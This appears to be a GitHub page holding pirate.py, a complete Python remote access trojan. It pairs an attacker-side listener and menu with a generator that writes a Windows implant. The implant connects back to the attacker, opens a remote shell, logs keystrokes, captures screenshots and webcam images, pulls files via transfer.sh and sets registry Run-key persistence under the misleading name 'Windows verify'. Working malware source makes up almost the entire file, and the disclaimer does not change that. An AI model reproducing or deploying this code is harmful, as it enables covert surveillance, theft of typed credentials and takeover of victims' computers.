-
Notifications
You must be signed in to change notification settings - Fork 12
/
pirate.py
332 lines (314 loc) · 12.9 KB
/
pirate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
# Version 1.1.1 by Gabriel Barone #
# GitHub Page: https://github.com/gbrn1/PIRATE #
# #
# ! Disclaimer ! #
# #
# "This software do not promote or encourages any #
# illegal action and it was not made for criminal #
# purposes." #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
from socket import socket, AF_INET, SOCK_STREAM
import sys
import os
import requests
import time
class RAT:
def __init__(self):
self.port = 4444 # DEFAULT
self.address = ('',self.port)
self.socket = socket(AF_INET, SOCK_STREAM)
self.keylogger_started = False
def banner(self):
print(r''' _ _
(_) | |
_ __ _ _ __ __ _| |_ ___
| '_ \| | '__/ _` | __/ _ \
| |_) | | | | (_| | || __/
| .__/|_|_| \__,_|\__\___|
| |
|_|
''')
def menu(self):
help_menu = {'Help':'Show this mensage', 'listen':'Start listener on determined port', 'gen':'Generates payload', 'clear':'Clears screen', 'quit': 'Quits the program', 'banner':'Print banner'}
while 1:
cmd = input('pirate@menu> ')
if cmd == 'help':
for n in help_menu:
print(n + ' .... ' + help_menu[n])
print()
elif cmd.startswith('gen'):
if cmd == 'gen':
print('[*] Usage: gen <lhost> <lport> <payload_name.py>')
else:
lhost = cmd.split(' ')[1]
lport = cmd.split(' ')[2]
pname = cmd.split(' ')[3]
self.generate_payload(lhost, lport, pname)
elif cmd.startswith('listen'):
if cmd == 'listen':
print('[!] Using default port')
if len(cmd)>6:
port = cmd.split(' ')[1]
try:
self.port = int(port)
except:
print('[-] Port must be a number')
self.address = ('',self.port)
self.listen()
elif cmd == 'quit' or cmd == 'exit' or cmd == 'close':
exit()
elif cmd == 'clear':
self.clear()
elif cmd == 'banner':
self.banner()
elif cmd == '':
pass
else:
print('[-] Unknow command')
def listen(self):
s = self.socket
try:
s.bind(self.address)
s.listen()
print('\n[*] Listening on port: %i'%self.port)
self.conn, self.addr = s.accept()
print('[+] Connection received from',self.addr)
self.main()
except:
pass
def clear(self):
if sys.platform.startswith('win'):
os.system('cls')
else:
os.system('clear')
def help(self):
print('sysinfo :: show victims system info')
print('shell :: open shell on victim machine')
print('screenshot :: take screenshot from victim machine')
print('webcam :: take picture from victims webcam')
print('send_file :: send file to victim machine')
print('persistence :: run persistence script (windows victim only)')
print('keylogger :: run keylogger on victim machine')
print('msg :: open MessageBox on victim machine (windows victim only)')
print('help :: show this message')
print('clear :: clear console')
print('exit or close :: close connection')
print()
def main(self):
print()
started = self.keylogger_started
while 1:
EXIT = False
conn = self.conn
cmd = input('pirate@%s> '%self.addr[0])
if cmd == 'shell':
conn.send(cmd.encode())
print(conn.recv(1024).decode(),end="")
while EXIT != True:
cmd = input('> ')
if cmd == 'exit':
EXIT = True
print()
elif cmd == '' or cmd == ' ':
pass
else:
conn.send(('shell:'+cmd).encode())
print(conn.recv(56960).decode('Latin-1'),end="")
elif cmd == 'clear':
self.clear()
elif cmd == 'help':
self.help()
elif cmd == 'screenshot':
runtime = time.asctime()[11:].replace(' ','-').replace(':','-')
if not os.path.isdir('output'):
os.system('mkdir output')
filename = 'output/screenshot-%s.png'%runtime
conn.send(cmd.encode())
data = conn.recv(200000)
with open(filename,'wb') as img:
img.write(data)
img.close()
print('[+] Screenshot saved as: %s\n'%filename)
elif cmd == 'webcam':
runtime = time.asctime()[11:].replace(' ','-').replace(':','-')
if not os.path.isdir('output'):
os.system('mkdir output')
filename = 'output/webcam-%s.jpg'%runtime
conn.send(cmd.encode())
data = conn.recv(200000)
with open(filename,'wb') as img:
img.write(data)
img.close()
print('[+] Webcam image saved as: %s\n'%filename)
elif cmd.startswith('send_file'):
if cmd == 'send_file':
print('[!] Usage: send_file <file_name>\n')
if len(cmd.split(' ')) == 2:
filename = cmd.split(' ')[1]
if os.path.isfile(filename):
url = 'https://transfer.sh/'
data = open(filename, 'rb')
upload = {filename: data}
response = requests.post(url, files=upload)
data.close()
download_link = response.content.decode('utf-8')
conn.send(('file:'+download_link).encode())
print('[+] File sended!')
else:
print('[-] File not found!')
elif cmd == 'persistence':
conn.send(cmd.encode())
msg = conn.recv(1024).decode()
print(msg)
elif cmd.startswith('keylogger'):
if cmd == 'keylogger':
print('[*] Usage:')
print('keylogger start')
print('keylogger dump')
print('kelogger stop')
elif cmd.startswith('keylogger '):
msg = 'keylogger:'+cmd.split(' ')[1]
conn.send(msg.encode())
if cmd == 'keylogger start':
started = True
elif cmd == 'keylogger stop':
started = False
if cmd == 'keylogger dump':
if started:
print(conn.recv(2048).decode())
else:
print('[-] Error, keylogger not started!')
elif cmd == 'sysinfo':
conn.send(cmd.encode())
sysinfo = conn.recv(4096).decode('Latin_1')
print(sysinfo)
elif cmd == 'msg':
print('[*] Usage: msg <your_message>')
elif cmd.startswith('msg '):
msg = cmd[4:]
conn.send(str('msg:'+msg).encode())
print('[+] Sended!')
elif cmd == '':
pass
elif cmd == 'exit' or cmd == 'close':
sys.exit(0)
else:
print('[-] Invalid command!\n')
def generate_payload(self, host, port, file_name):
payload ="""from cv2 import VideoCapture, imwrite
from pynput.keyboard import Key, Listener
from os.path import realpath
from winreg import *
import socket,os,subprocess,pyautogui,time,requests,numpy,idna,platform
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('"""+host+"""', """+port+"""))
keyLog = str()
def start():
global listener
listener = Listener(on_press=on_press)
listener.start()
def on_press(key):
global keyLog
keyLog+=str(key).replace("'","").replace('Key.space',' ').replace('Key.ctrl_l','<ctrl>').replace('Key.shift','<shift>').replace('Key.enter','\\n').replace('Key.backspace',' <bck>').replace('Key.esc','<esc>')
def dump():
global keyLog
dump = keyLog.replace('<shift>1','!').replace('<shift>2','@').replace('<shift>3','#').replace('<shift>4','$').replace('<shift>5','%%').replace('<shift>7','&').replace('<shift>8','*').replace('<shift>9','(').replace('<shift>0',')')
keyLog = ""
return dump
def stop():
global listener
listener.stop()
def persistence(executable):
path_file='"%s"'%realpath(executable)
run = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
try:
key = OpenKey(HKEY_CURRENT_USER,run,0,KEY_SET_VALUE)
except PermissionError:
return('Failed!\\nRequire admin privileges')
else:
SetValueEx(key,'Windows verify',0,REG_SZ,path_file+' -silent --system-boot')
key.Close()
while True:
conn = s.recv(1024).decode('utf-8')
if conn == 'shell':
s.send(os.getcwd().encode())
if conn.startswith('shell:'):
conn = conn[6:]
if conn[:3] == 'cd ':
dir = os.path.expandvars(conn[3:])
if os.path.isdir(dir):
os.chdir(dir)
cmd = b''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\\n'+os.getcwd()).encode()
s.send(cmd)
if conn == 'screenshot':
runtime = time.asctime()[11:].replace(' ','-').replace(':','-')
filename = 'screenshot-%s.png'%runtime
sc = pyautogui.screenshot()
sc.save(filename)
data = open(filename,'rb').read()
s.send(data)
if conn == 'webcam':
runtime = time.asctime()[11:].replace(' ','-').replace(':','-')
filename = 'webcamshot-%s.jpg'%runtime
cam = VideoCapture(0)
x, img = cam.read()
if x:
imwrite(filename,img)
data = open(filename, 'rb')
s.send(data.read())
data.close()
cam.release()
if conn.startswith('file:'):
url = conn[5:]
filename = url[26:]
content = requests.get(url).content
with open(filename, 'wb') as f:
f.write(content)
f.close()
if conn.startswith('keylogger:'):
args = conn[10:]
if args == 'start':
start()
if args == 'dump':
text = dump()
s.send(text.encode())
if args == 'stop':
stop()
if conn == 'persistence':
filename = os.path.realpath(__file__)
code = persistence(filename)
if code != None:
s.send('Error!'.encode())
else:
s.send('Persistence execute with success!'.encode())
if conn == 'sysinfo':
OS = '{} {} ({})'.format(platform.system(),platform.release(),platform.version())
NAME = platform.node()
if '64' in platform.machine():
ARCH = 'x64'
else:
ARCH = 'x86'
sysinfo = 'Name :: {}\\nOS :: {}\\nArchitecture :: {}'.format(NAME,OS,ARCH)
s.send(sysinfo.encode('Latin_1'))
if conn.startswith('msg:'):
msg = conn[4:]
payload = 'cd %temp% & echo MsgBox("{}") > tempmsg.vbs & start tempmsg.vbs'.format(msg)
p = subprocess.Popen(payload,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)"""
if '\\' not in file_name and '/' not in file_name:
file_name = 'output/'+ file_name
with open(file_name,'w') as payload_file:
payload_file.write(payload)
payload_file.close()
print('[+] Writed %i bytes payload to %s'%(len(payload.encode()),file_name))
def init():
main = RAT()
main.clear()
main.banner()
main.menu()
init()